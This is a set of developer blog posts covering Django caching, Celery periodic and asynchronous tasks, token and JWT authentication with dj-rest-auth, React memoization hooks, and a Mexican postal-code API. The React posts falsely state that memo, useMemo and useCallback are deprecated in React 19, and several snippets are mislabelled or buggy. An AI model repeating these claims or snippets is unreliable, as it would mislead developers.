Cache for the development process

If you are developing a website with Django and for some reason you can’t (or don’t want to) install redis, memcached or any other caching system, you can use a fake cache provided by Django. The fake cache will trick your application into believing that there is a real caching system.

To activate it use the dummy cache as a backend by configuring it as a backend in your configuration file.

CACHES = {
    'default': {
        'BACKEND': 'django.core.cache.backends.dummy.DummyCache',
    }
}

File system cache, database cache, in memory cache and other types of cache in Django

In addition to caching using memcached, you can store the data directly in memory, use a database or directly as hard disk data. To do this, simply change the CACHES configuration variable to other locations.

For example, this configuration will store the cache in the /tmp/ directory of the operating system. The cache will be slower than memcached, but less ephemeral, you can even specify another location outside the /tmp/ directory if you are looking for a cache that survives reboots, although much slower.

CACHES = {
    'default': {
    'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
    'LOCATION': '/var/tmp/django_cache',
    }
}

The Django documentation on caching has more details for other less common use cases, check it out if you need a more specific solution.

Periodic Tasks with Celery and Django

Tue, 31 Aug 2021 00:00:00 +0000

In addition to creating asynchronous tasks, celery also allows you to create periodic tasks, which are executed from time to time. This can be quite useful to give maintenance to the database from time to time, to send marketing or shopping cart recovery emails, perhaps even to empty the contents of some temporary cache in the database or any repetitive task where execution time is an important factor, that is, to improve the performance of a django application.

Installation and configuration of Celery in Django

The first step is to install Celery:

pip install "celery==5.1.2"

As with asynchronous tasks, we also need rabbitmq or another broker.

sudo apt install rabbitmq-server

Next, at the same level as our configuration file, we will create a file called celery.py, where we will create a celery app and pass the django configuration to it.

# celeryApp/celery.py
import os
from celery import Celery

os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'celeryApp.settings')
app = Celery('celeryApp')
app.config_from_object('django.conf:settings', namespace='CELERY')
app.autodiscover_tasks()

If you have doubts about what each line means or what rabbitmq is for, please visit my post about celery and django.

We also import celery into our init_.py_ file in our django project.

# celeryApp/__init__.py
from .celery import app as celery_app
__all__ = ('celery_app',)

Sounds pretty obvious, but still I remind you; your django application must be running for celery to work.

Periodic sending of tasks with crontab

For this example we are going to send emails periodically. To achieve this, we are going to add our periodic tasks in the file we just created

First we are going to define the function that we want to execute, in this case it will only send an email, using the django function and taking the data of its arguments.

# celeryApp/celery.py
from django.core.mail import send_mail
# ...

@app.task
def send_my_email(subject, message, fromEmail, recipients):
    send_mail(
        subject,
        message,
        fromEmail,
        recipients,
        fail_silently=False,
    )

Now let’s set up the celery configuration.

# celeryApp/celery.py
from django.core.mail import send_mail
# ...

@app.on_after_configure.connect
def setup_periodic_tasks(sender, **kwargs):
    sender.add_periodic_task(10.0, send_my_email.s('subject', 'message', 'from@example.com', ['to@example.com']), name='Envia email cada 10 segundos')

@app.task
def send_my_email(subject, message, fromEmail, recipients):
    send_mail(
        subject,
        message,
        fromEmail,
        recipients,
        fail_silently=False,
    )

The decorator @app.on_after_configure tells celery that these functions will be programmed once the configuration is complete.

Our function is going to receive a messenger (sender) as a parameter, we will call its add_periodic_task() method to tell it how often we want our task to be executed and then we will call the s() method of the function we define.

add_periodic_task() receives as first argument the interval in seconds that we want to elapse between each task and the second is our function executing the s() method with its arguments.

We define our function and decorate it with @app.task.

For our periodic scheduling to work, celery needs to be running beat.

beat in celery

What is Beat? Beat is one of your services that takes care of scheduled tasks. Beat is in charge of reading and sending the scheduled tasks to the celery workers that will execute them.

celery -A celeryApp beat -l info

Celery Beat Schematic

Since beat needs to transmit its tasks to a worker, it will be necessary to create one.

celery -A celeryApp worker -l info

Now celery will make sure that an email is sent every 10 seconds (pure spam, I know).

Once the celery services are running we will see how our function starts executing every 10 seconds.

Celery tasks within 10 seconds of each other

Tasks scheduled with crontab

What if instead of specifying an interval to execute the tasks we want them to be executed on a specific date, for example: every Sunday at 1:30 am.

Instead of calculating the seconds we can create a more friendly format with the crontab utility provided by celery.

Yes, you are correct, crontab shares the format with the crontab file used by the GNU/Linux cron daemon , which I already talked about in a post.

Crontab will ensure that the execution format is every Monday at 7:30 a.m.

# celeryApp/celery.py
from celery.schedules import crontab

# ...

@app.on_after_configure.connect
def setup_periodic_tasks(sender, **kwargs):
    # ...
    sender.add_periodic_task(
        crontab(hour=7, minute=30, day_of_week=1),
        send_my_email.s('subject', 'message', 'from@example.com', ['to@example.com']),
    )
# ...

You can see more details directly in the Celery documentation

How to use Django Framework asynchronously using Celery

Tue, 24 Aug 2021 00:00:00 +0000

Celery, in combination with Django serve to solve a problem: the lack of asynchrony in our application. Sending an email, processing some file or responding to a third party service will keep our execution waiting for the task to finish and, as a consequence, our user waiting.

Using celery is one of the things you can do to improve the performance of a Django application . And you can also create periodic tasks with celery and django.

Look at this example view:

from django.shortcuts import render
from django.http import JsonResponse
import time

def slowResponseView(request):
    time.sleep(3)
    return JsonResponse({"response": "ok"})

Notice how after accessing the url, the answer does not appear until after 3 seconds. During that time our application is busy. That time.sleep() that causes the delay could represent an email sending, the waiting time to an external API, a very computationally expensive calculation or any other task that requires a long time to be performed.

The response to the url takes 3 seconds

Celery solves our problem, it sends those tasks to a queue so that they can be executed later, asynchronously, and the code can continue its execution.

That’s right, you’re probably thinking that celery has similarities with Javascript or Python’s async await. However celery is much more robust and with many more features, such as scheduling periodic tasks (as in cron and crontab in GNU/Linux ) and also monitoring them, but let’s go by parts.

Installation of celery

Let’s install celery for this example, version 5.1.2

pip install "celery==5.1.2"

Installing RabbitMQ

We will also need RabbitMQ, which will serve as an intermediary between django and celery sending messages and activating the workers of the latter to execute the tasks.

sudo apt install rabbitmq-server

Basic outline of RabbitMQ operation and cellery

After the above, check that RabbitMQ is running with the command systemctl, update-rc, systemE or whatever your system process manager is.

sudo systemctl status rabbitmq-server
● rabbitmq-server.service - RabbitMQ Messaging Server
   Loaded: loaded (/lib/systemd/system/rabbitmq-server.service; enabled; vendor preset: enabled)
   Active: active (running) since Sat 2021-08-07 15:45:21 CDT; 1min 47s ago
 Main PID: 27808 (rabbitmq-server)

When finished, RabbitMQ will be running in the background and celery will automatically detect it when running.

Celery configuration

We are going to create a file called celery.py at the same level as our configuration file.

And we will place the following code:

# celeryApp/celery.py
import os
from celery import Celery

os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'celeryApp.settings')
app = Celery('celeryApp')
app.config_from_object('django.conf:settings', namespace='CELERY')
app.autodiscover_tasks()

The top part is the imports, while at the bottom we create an environment variable that will store the address of the configuration file of our project. We name the app as CeleryApp, to be able to refer to it later, we indicate it to take the configuration of our configuration file and to discover automatically the tasks of each one of the applications that appear in INSTALLED_APPS.

This file that we have just created is an isolated file of our configuration, django will not load it automatically because it does not know it exists. We need it to load it when it runs, so a good place would be the init_.py_ file in our project.

# celeryApp/__init__.py
from .celery import app as celery_app
__all__ = ('celery_app',)

If we now run celery we will see that it runs and connects to RabbitMQ

celery -A celeryApp worker -l info

The -A option, of App, tells celery the name of the application, i.e., the name we just assigned to it in the celery.py file.

Celery running on the terminator. See how the transport option in [config] points to port 5672, characteristic of rabbitmq.

Tasks in celery

To create a task we need a file called tasks.py in our application, which will contain our functions, decorated with @app.task, and call its delay() method in our views to execute them asynchronously.

Creating a celery task in django

Next we are going to create a tasks.py file in our application (not in the project) this is where we will place our time expensive tasks for celery to take care of them. To emulate a time expensive task I’m going to use Python’s time library.

# celeryApp/__init__.py
from celeryApp.celery import app
import time

@app.task
def waitNSeconds(n):
    time.sleep(n)

We import celeryApp app, the text we use to name our Celery app in the celery.py. file.

Important: In previous versions of celery the import was done directly from the celery object, adapt the import to your version of celery.

Following the creation of that file our folder structure will be similar to this.

|-- celeryApp
|   |-- asgi.py
|   |-- celery.py
|   |-- __init__.py
|   |-- __pycache__
|   |   |-- celery.cpython-38.pyc
|   |   `-- __init__.cpython-38.pyc
|   |-- settings.py
|   |-- urls.py
|   `-- wsgi.py
|-- db.sqlite3
|-- manage.py
|-- myTasks
|   |-- admin.py
|   |-- apps.py
|   |-- __init__.py
|   |-- migrations
|   |   `-- __init__.py
|   |-- models.py
|   |-- tasks.py
|   |-- tests.py
|   `-- views.py
|-- Pipfile
`-- Pipfile.lock

Execute tasks in celery

The decorator task that comes with the app will tell Celery to process this task.

With the tasks.py file created, we modify the views file of our application.

# celeryApp/__init__.py
from django.http import JsonResponse
from .tasks import waitNSeconds

def slowResponseView(request):
    waitNSeconds.delay(3)
    return JsonResponse({"response": "ok"})

We import the task we have just created and execute its delay method, passing it our argument (the number of seconds to wait). This will tell celery to execute our task asynchronously.

If we now access the view we just created, we will see that it returns the JSON response immediately, without waiting the 3 seconds. While in the terminal appear the messages of the task that is being processed by Celery

Celery takes care of our task, so that it does not interrupt the flow of our Django application.

Celery handling the task that is executed with each web request in an asynchronous manner.

For more details on how to connect celery to Django remember that you can check the celery official documentation

Task monitoring with Flower

Celery has several complementary applications that allow you to increase control over your tasks, for example flower, which is in charge of monitoring celery tasks.

Flower is simple to use, just install it.

pip install flower

And, subsequently, pass it to our celery application as if it were an argument.

celery -A celeryApp flower

After executing the Flower command it will be available on port 5555.

Flower will show us the active tasks, processed, with failure and information of each one of them.

Flower main panel available on port 5555

We will also be able to see specific information for each task, such as its identifier, arguments, time and execution time.

Flower shows us the details of each task

See the flower documentation for more details.

Login using Django Rest Framework DRF

Tue, 17 Aug 2021 00:00:00 +0000

Almost all complex Django applications need views for Login, Logout, reboot and password change, as well as user registration. However, both Django and Django REST Framework (DRF) are completely agnostic about their implementation, and delegate the responsibility for these functions to the users of their frameworks. Fortunately there are libraries that make this task quite simple.

If you are about to develop an API, I have a post with recommendations on REST API design that can be useful for you.

Meet dj-rest-auth. This library that handles all the heavy lifting of basic user management functions such as login, logout, reset and password change.

Installation of dj-rest-auth

To use it we install the package using the pipenv virtual environment manager, or your favorite package manager.

pip install dj-rest-auth<=2.1.7

Installing dj-rest-auth will also install rest_framework

Then we add our applications to the configuration file

# settings.py
INSTALLED_APPS = [
    # ...
    'rest_framework',
    'rest_framework.authtoken',
    'dj_rest_auth']

In addition to the changes in the applications, we have to tell rest_framework to allow authentication through Tokens in our application.

# settings.py
REST_FRAMEWORK = {
    'DEFAULT_PERMISSION_CLASSES': [
        'rest_framework.permissions.IsAuthenticated',
    ],
    'DEFAULT_AUTHENTICATION_CLASSES': [
        'rest_framework.authentication.SessionAuthentication',
        'rest_framework.authentication.TokenAuthentication' 
    ],
}

Following the above changes we will run our migrations

python manage.py migrate

If everything went well, we add the necessary paths, I have added them to api/authentication/, but you can use another path.

# urls.py
INSTALLED_APPS = [
    # ...
    path('api/authentication/', include('dj_rest_auth.urls')),
]

Let’s access the path to see that the new endpoints that we have

admin/
api/authentication/ password/reset/ [name='rest_password_reset']
api/authentication/ password/reset/confirm/ [name='rest_password_reset_confirm']
api/authentication/ login/ [name='rest_login']
api/authentication/ logout/ [name='rest_logout']
api/authentication/ user/ [name='rest_user_details']
api/authentication/ password/change/ [name='rest_password_change']

If you read the list above, you will notice that endpoints were added to reset passwords, login, logout, user details and change password. And if we access those urls in the browser we will already see the DRF interface.

The login endpoint returns a key to be used as a token.

But we are not finished. Up to this point we can manage users but not create them. For that we will use the following library.

User registration with DRF

We will use another library, this time called django-allauth.

Installing django-allauth

Like the previous library, we are going to install it.

pip install django-allauth~=0.42.0

After installation we add our application to the project. django-all-auth requires the django.contrib.sites application to be in our INSTALLED_APPS in the configuration file.

# settings.py
INSTALLED_APPS = [
    # ...
    'django.contrib.sites',
    'allauth', 
    'allauth.account', 
    # 'allauth.socialaccount' # si queremos implementar autenticación usando redes sociales
]

Since we added the django.contrib.sites package, django will need us to add a SITE_ID variable to the configuration file. We will also add the terminal EMAIL_BACKEND already provided by django, so that each email will be displayed in the terminal.

# settings.py
EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend' 
SITE_ID = 1

Now, as our application has models, it is a good idea to run the migrations again.

python manage.py migrate

If everything went well let’s add the new registration url, I have put api/registration/, but you can set the one you like.

# urls.py
INSTALLED_APPS = [
    # ...
    path('api/registration/', 
          include('dj_rest_auth.registration.urls')),
]

User registration

Now we will have an extra endpoint that allows user registration.

User registration screen in the DRF interface

If we register through the browser, filling out the form, we will receive a token in response:

Session token obtained after logging in a user

This token is the one that will allow us to authenticate ourselves, let’s try to use this token with the curl command to access the user’s profile.

curl -H "Authorization: Token c66ff3d7d3b4c434ce4d9a1ae0d640fc64d0a8bd" http://127.0.0.1:8000/api/authentication/user/
{"pk":1,"username":"Karenina","email":"Karenina@karenina.com","first_name":","last_name":"}

As you saw, we can already use the token we have to get a response from the protected views.

dj-rest-auth also supports JWT. To use JWTs we will install the djangorestframework-simplejwt library

If you don’t know what JWT is or you want to go deeper into the subject, I have a post where I explain the details of django authentication using JWT And as a counterpart, I also have a translation of stop using JWT for sessions, where I explain why it might not be such a good idea to use JWT for sessions.

pip install djangorestframework-simplejwt

We add the authentication backend in the DRF settings and tell it to use JWT in our settings.py file.

# settings.py
REST_FRAMEWORK = {
    ...
    'DEFAULT_AUTHENTICATION_CLASSES': (
        ...
        'dj_rest_auth.jwt_auth.JWTCookieAuthentication',
    )
    ...
}

REST_USE_JWT = True

In this same file we indicate how the refresh and authentication cookies will be called.

# settings.py
JWT_AUTH_COOKIE = 'jwt-auth-token'
JWT_AUTH_REFRESH_COOKIE = 'jwt-refresh-token'

After obtaining the refresh and authentication tokens, by logging into our endpoint, we can use them to authenticate with the header “Authorization: Bearer ”.

After logging in a user we obtain the refresh and authentication or access JWT.

curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0b2tlbl90eXBlIjoiYWNjZXNzIiwiZXhwIjoxNjI4MjE5NDU1LCJqdGkiOiJhMTI3MGZjMDc5Nzc0MDkzYjM1NThkMjQzYThmYjFiMyIsInVzZXJfaWQiOjN9.vfVSYubOvNTw0iJxnPZ3BTOiFhw17aHX7OWFvscpOQU" http://127.0.0.1:8000/api/authentication/user/
{"pk":1,"username":"Karenina","email":"Karenina@karenina.com","first_name":","last_name":"}

Also note that we already have two new routes added in our api.

api/authentication/ token/verify/ [name='token_verify']
api/authentication/ token/refresh/ [name='token_refresh']

As always, remember to check the documentation for dj-rest-auth and dj-allauth for more details.

Other authentication libraries in Django

In addition to dj-rest-auth and dj-allauth, there are other libraries for authenticating users, such as djoser and knox. I leave you a link where you can see a complete tutorial on youtube that explains how to use these two libraries.

React memo, useMemo and useCallback to avoid React renderings

Tue, 10 Aug 2021 00:00:00 +0000

We can use react memo and useCallback to prevent a component from being rendered, uselessly, multiple times by memoization. If you don’t know what memoization is or don’t understand what the react components, useCallback and memo are for, I have a post where I explain React’s useCallback, useMemo and memo, and what they are for .

As of React 19 all these hooks are deprecated, so only use this post as a reference for legacy React versions, please do not implement these hooks in your application

Let’s start our example with the following component:

import ChildComponent from './ChildComponent'

const MyComponent = () => {
  // callback va a ser diferente cada vez que este componente se renderice
  const callback = () => {
    return 'Children component text'
  };
  return <ChildComponent callback={callback} />;
}

export default MyComponent

Each time MyComponent is rendered, React will create a new function called callback, and pass it to ChildComponent, which will be rendered in turn.

The first step will be to memoize the child component, ChildComponent, so that it remains constant as long as its props do not change. To do this, just pass the component to the memo function and export it.

import { memo } from "react";

const ChildComponent = ({ callback }) => {
  const ChildrenComponentText = callback();
  return <div>{ChildrenComponentText}</div>;
};

export default memo(ChildComponent)

As I mentioned before, every time React renders a component, its internal functions will be recreated, becoming a different prop for each child component that receives them.

To prevent the props from changing, we have to memoize the function that memo is receiving as a prop. How? Well, using the React hook useCallback

import ChildComponent from './ChildComponent'
import {useCallback} from 'react'

const MyComponent = ({ prop }) => {
  const callback = useCallback(() => {
    return 'Result'
  },[])
  return <ChildComponent callback={callback} />;
}

export default MyComponent

Now the callback function will not change every time MyComponent is rendered, it will remain constant. Therefore, the memoized component, ChildComponent, will receive as prop the same function, always, avoiding its re-rendering every time MyComponent changes.

Testing the effect of React memo and useCallback

Still not clear? Check this example in a sandbox.

In the sandbox below, notice how the ChildComponent has a console.log method that writes to the terminal each time the component is rendered. If you write to the input you will notice that ChildComponent is not rendering with each key press.

Why? First, we are using memo in the ChildComponent to avoid renderings. Second, we are using useCallback to prevent the MyComponent function from changing, so memo always receives the same prop.

Now try the following in this sandbox:

Remove only the memo function from the ChildComponent and write to the input. ChildComponent will re-render with each new key press. A new terminal message will appear for each rendering.

// ChildComponent.js
export default ChildComponent;

On the other hand, if you remove the useCallback hook, without removing memo, ChildComponent will still be re-rendered with each key press. This is because with each keystroke, MyComponent is re-rendered and the callback function is re-created, being a new function, memo re-renders the component.

// MyComponent.js
const callback = () => {
    return "Children component text";
  };

Pay attention to the terminal to appreciate the renderings.

On the other hand, if you remove both memo and useCallback, the same thing will happen.

Avoiding renderings with useMemo

useMemo can also be used to avoid renderings. How? In the previous post I mentioned that every time a component is rendered new objects are created, and these objects are not the same, even if they have the same properties, with the same values.

const A = {one: 1, two:2}
const B = {one: 1, two:2}
A===B
// false

Look at the following example, every time the component is re-rendered due to another component, or a change in the state, a new monsterStats object will be created. Every time that happens React will ask inside useEffect: “Is the variable monsterStats the same as last time?” And the answer will be “no”, because React creates a new object every time, even if this object has exactly the same values as its previous version, they are different objects.

import ChildComponent from './ChildComponent'
import {useCallback} from 'react'

const MyComponent = ({ prop }) => {
  const [hp, setHp] = useValue(100)
  const [mp, setMp] = useValue(100)
  // otro valores de estado

  const monsterStats = { hp, mp }

  useEffect(()=>{
    console.log(monsterStats)
  }, [monsterStats])

  return (
    // Otros componentes
    <RenderizaMonstruo stats={monsterStats}/>
    );
}

export default MyComponent

To solve this problem we can useMemo. Our memoizer function will keep the same object, as long as the values inside the square brackets do not change. Now, when React asks: “Is the variable monsterStats the same as last time?” the answer will be “yes”, it is the same variable, because as long as the variables in square brackets do not change, useMemo will return the same object in memory.

import ChildComponent from './ChildComponent'
import {useCallback} from 'react'

const MyComponent = ({ prop }) => {
  const [hp, setHp] = useValue(100)
  const [mp, setMp] = useValue(100)
  // other states

  const monsterStats = useMemo(()=> {
    return { hp, mp }
  }, [hp, mp])

  useEffect(()=>{
    console.log(monsterStats)
  }, [monsterStats])

  return (
    // Other components
    <RenderizaMonstruo stats={monsterStats}/>
    );
}

export default MyComponent

If you want to go deeper into the subject I found an excellent youtube video where they explain it quite well.

React useCallback, useMemo and memo, differences

Mon, 02 Aug 2021 00:00:00 +0000

The useCallback, useMemo and memo functions are used to optimize React applications using memoization, avoiding useless renderings, each with their differences, similarities and use cases. These three functions should not be used indiscriminately, but only in those situations where their impact is less than the benefits they offer.

As of React 19 all these hooks are deprecated, so only use this post as a reference for legacy React versions, please do not implement these hooks in your application

Visit my post where I share 5 React libraries that you can’t miss in your arsenal.

Memoization and object handling in Javascript

Before we start moving on to functions there are two concepts you need to understand first: memoization and Javascript’s handling of objects. Move on to the useCallback part if you have already mastered them.

What is memoization?

Memoize means to memorize a value to avoid processing it again, generally used to save you the cost of producing a value over and over again.

Imagine that you want to multiply the numbers 17 and 19. You would take paper and pen or a calculator, perform the relevant operations and obtain the result: 323. If you are asked again the value of that multiplication, you will not take a new paper and pen to calculate again, but you will recite the number 323, without calculating it, from memory.

As long as they keep asking you for the multiplication of 17 and 19 you will be able to return an answer without recalculating it. You have just memorized the result of multiplying 17 and 19 and you can return it without having to recalculate it.

Now I will explain how Javascript handles objects.

How does Javascript handle objects?

In Javascript, when we compare two native values we will get the same result. However, objects, including functions, are not considered equal, even if they are identical.

2 === 2
true
'hello world' === 'hello world'
true
const d = () => "hello world"
const c = () => "hello world"
d === c
false
//las funciones son idénticas, sin embargo, al ser objetos diferentes, no son iguales para JS

Another example:

const A = {uno: 1, dos:2}
const B = {uno: 1, dos:2}
A===B
// false

Even if two objects are the same and have the same properties and values, since they are located at different memory addresses, they are considered two different objects by JavaScript.

Object creation in React

The above applies exactly the same in React. Every time React creates a function it is creating a new object, different from the previous one, even if they fulfill the same function, line by line.

Look at the following code, every time the MyComponent component is rendered, React will create a new function called callback, different from the last rendering.

import { useCallback } from 'react';

const MyComponent = ({prop}) => {
  const callback = () => {
    return 'Result'
  };
  return <ChildComponent callback={callback} />
}

Now that you know how JavaScript and React handle objects, let’s get to the main topic.

Differences between useCallback, useMemo and memo

To begin with we will say that useCallback, useMemo and memo are memoization functions, these functions will save us to recalculate something from scratch.

The basic differences between useCallback, useMemo and memo are summarized in the following table.

useCallback, memoizes functions, is a hook.
useMemo, memoizes values, it is a hook.
memo, memoizes components, it is a HOC.

Together, memo, useMemo and useCallback are used to avoid unnecessary renderings in React .

useCallback memoize functions

useCallback is a React hook that takes care of memoizing the functions so that they are not re-rendered when the components are mounted. It is very useful when transferring functions to child components.

The useCallback function accepts two arguments and returns a function. The first argument is the function to memoize and the second, like useEffect, is an array of variables to watch, so that React does not generate a new function with each rendering, as long as those variables do not change. As with useEffect we can also leave the array empty.

import { useCallback } from 'react'

const MyComponent = ({prop}) => {
  const callback = () => {
    return 'Result'
  };
  const memoizedCallback = useCallback(callback, [prop])
  return <ChildComponent callback={memoizedCallback} />
}

I repeat, as long as the prop that receives the component called Component, remains constant, a new function will not be created, no matter how much the component is re-rendered.

useMemo memoizes values

This function is a React hook used to memoize the value returned by a function. The useMemo function accepts two arguments and returns a value. The first argument is the function and the second, like useCallback, is an array of variables to watch, so that a new value will not be generated as long as those variables do not change.

import { useMemo } from 'react'

// Ideal para funciones costosas de ejecutar, como factoriales o cálculos complejos
const OtherComponent({value}) => {
  const memoizedValue = useMemo(()=>getExpensiveValue(value), [value])
  return <div>...</div>
}

Again, as long as value is kept constant, getExpensiveValue will not be executed with each rendering of the component, but the memoized value will be returned. As with useEffect we can also leave the array empty, instead of value.

memo memoizes components

Memo is not a hook, it is a High Order Component (HOC), i.e. a function that takes a component as a parameter and **returns a new component.

Memo checks if the props of the component it receives have changed, if they have not, it will return the memoized component, without rendering it again.

Again, unlike useCallback and useMemo, memo is not a hook, but a memoization function that runs on a component.

import { memo } from 'react'

const MyComponent = ({id, title}) => {
    return <div>{id}{title}</div>
}

export default memo(MyComponent)

For example, imagine we have the above component. As long as id and title do not change, the component named Component, will not be rendered once again, but its memoized value will be returned.

import MyComponent from './MyComponent'

const ParentComponent = () => {
   const {id, title} = getIdAndTitle()

   return(
   <>
     <OtrosComponentes/>
     <MyComponent id={id} title={title}/>
   </>)
}

memo use cases

Memo is ideal for components that:

Suffer multiple renderings with the use of the application and generally receive the same props.
Receive props that change infrequently or not at all.
Very bulky components that have a very large impact on performance.

Remember to check my post where I combine this memo and useCallback to avoid renderings in React .

See the official React hooks documentation if you want to learn more about it.

Mexico Postal codes API with Django

Thu, 22 Jul 2021 00:00:00 +0000

Do you need to get the data associated with a postal code in Mexico for your Django application? I wrote a small library called django-postalcodes-mexico that downloads postal codes from SEPOMEX (México’s Postal Codes official site) and creates an API endpoint that allows you to query a postal code in Mexico and receive the colonias that belong to that postal code, as well as their state and municipality.

If you are going to develop a REST API, I have a post with multiple REST API design recommendations that may help you.

For this example I use Python 3.8, Django 3.2.5 and Pipenv version 2020.5.28.

Installation

To install it we are going to use Pipenv , but you can use Poetry, pip or any other virtual environment manager.

pip install django-postalcodes-mexico django
django-admin startproject codigosPostalesMx .
python manage.py migrate

Next we install the package by adding it to INSTALLED_APPS in our configuration file.

INSTALLED_APPS = [
    'django_postalcodes_mexico.apps.DjangoPostalcodesMexicoConfig',
]

We execute the migrations. This will create the tables needed to manage the postal codes.

python manage.py migrate

Obtaining Mexico’s postal codes from SEPOMEX

Now that the tables have been created we are going to install the Mexico postal codes directly from the SEPOMEX page with a single Django command.

python manage.py importpostalcodesmx
Trying to connect to Mexican Postal Service (Correos de Mexico)
Response received
This process can take a few minutes, please be patient
Creating database...
The postal code database has been successfully populated

That’s all, now we just need to import include and add our urls. I put the path api/ but you can use the one you want.

from django.contrib import admin
from django.urls import path, include

from django_postalcodes_mexico import urls as django_postalcodes_mexico_urls

urlpatterns = [
    # ...
    path('api/', include(django_postalcodes_mexico_urls)),
]

Obtaining information from a postal code

If we now make a request api/09000/ or any other 5-digit postal code we will receive a JSON response with the municipality, state and a list of neighborhoods.

curl localhost:8000/api/09000/
{"codigoPostal": "09000", "municipio": "Iztapalapa", "estado": "Ciudad de M\u00e9xico", "colonias": ["La Asunci\u00f3n", "San Ignacio", "San Jos\u00e9", "San Lucas", "San Pablo", "San Pedro", "Santa B\u00e1rbara"]}

Django API query result for postal code 09000

A non-existent postal code will return a 404 status.

Nonexistent postal code returning an error message

While an invalid postal code will return a 400 error and an error message

Invalid postal code returning an error

Read the short official documentation in my github repository for more information.